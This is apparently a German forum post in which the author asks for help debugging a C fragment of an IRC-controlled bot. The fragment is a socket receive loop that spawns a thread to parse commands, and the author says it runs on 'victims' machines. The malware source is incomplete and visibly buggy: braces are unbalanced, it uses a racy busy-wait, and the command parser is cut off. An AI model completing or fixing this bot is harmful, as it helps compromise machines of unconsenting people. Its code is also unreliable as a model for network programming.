Code:
for(;;) {
err = 0;
// WaitForSingleObject((HANDLE)x,300); //test
if(b == NULL) {
memset(puffer,0,sizeof(puffer));
CloseHandle((HANDLE)x);
}
else {
while(1)
if(b == NULL)
break;
CloseHandle((HANDLE)x);
memset(puffer,0,sizeof(puffer));
}
err = recv(socket,puffer,MAX-1,0);
if((err == 0) || (err == SOCKET_ERROR)) {
//printf("WSAGetLastError: %i\n",WSAGetLastError());
shutdown(socket,2);
closesocket(socket);
WSACleanup();
return 1;
}
else {
puffer[err] = '\0';
b = calloc(strlen(puffer)+1,sizeof(char));
if(b != NULL) {
strncpy(b,puffer,strlen(puffer));
cmd.msg = &b;
x = _beginthreadex(NULL,0,split_cmd,&cmd,0,NULL);
}
}
//split_cmd()
unsigned __stdcall split_cmd(irc *cmd) {
char *p,user[24],*buf;
argv parameters;
int err,socket;
memset(¶meters,0,sizeof(argv));
buf = calloc(strlen(*cmd->msg)+1,sizeof(char));
if(buf == NULL)
return 1;
else
memset(buf,0,sizeof(buf));
strncpy(buf,*cmd->msg,strlen(*cmd->msg));
free(*cmd->msg);
*cmd->msg = NULL;
Irgendwo in diesem Code muss ein Fehler sein...
der einfach ein paar Debug-Ausgaben einfügen und schauen wo das Ding abstürzt.
Bei Victims sehe ich die Ausgaben nicht...